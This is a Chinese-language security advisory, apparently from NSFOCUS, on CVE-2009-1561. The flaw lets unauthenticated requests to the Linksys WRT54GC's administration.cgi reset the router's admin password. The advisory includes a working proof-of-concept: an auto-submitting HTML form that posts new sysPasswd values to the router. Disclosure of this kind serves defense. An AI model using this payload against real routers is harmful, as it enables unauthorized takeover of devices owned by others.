安全研究

安全漏洞
Linksys WRT54GC administration.cgi脚本远程非授权管理访问漏洞

发布日期：2009-04-20
更新日期：2009-04-21

受影响系统：
Cisco Linksys WRT54GC 1.5.7
描述：
BUGTRAQ  ID: 34616
CVE(CAN) ID: CVE-2009-1561

Linksys WRT54GC是思科的一款小型无线路由器。

WRT54GC路由器的administration.cgi脚本未经认证便接受任意POST请求，远程攻击者可以通过向该脚本提交带有sysPasswd和sysConfirmPasswd参数的恶意请求执行管理操作。

<*来源：Gabriel Lima （gabriel@falandodeseguranca.com）
  
  链接：http://marc.info/?l=bugtraq&m=124024681320524&w=2
        http://secunia.com/advisories/34805/
*>

测试方法：

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<html><body>
<form method="POST" action="http://IP_ADDRESS:8080/administration.cgi" name="senha" ENCTYPE="multipart/form-data"> <INPUT type="hidden" name="sysPasswd" value="12345" maxLength  size!> <INPUT type="hidden" name="sysConfirmPasswd" value="12345" maxLength  size!> </form>

<SCRIPT language="JavaScript">
  document.senha.submit();
</SCRIPT>

</body></html>

建议：
厂商补丁：

Cisco
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.cisco.com/warp/public/707/advisory.html

浏览次数：2530
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障
关于我们
公司介绍
公司荣誉
公司新闻
联系我们
公司总部
分支机构
海外机构
快速链接
绿盟云
绿盟威胁情报中心NTI
技术博客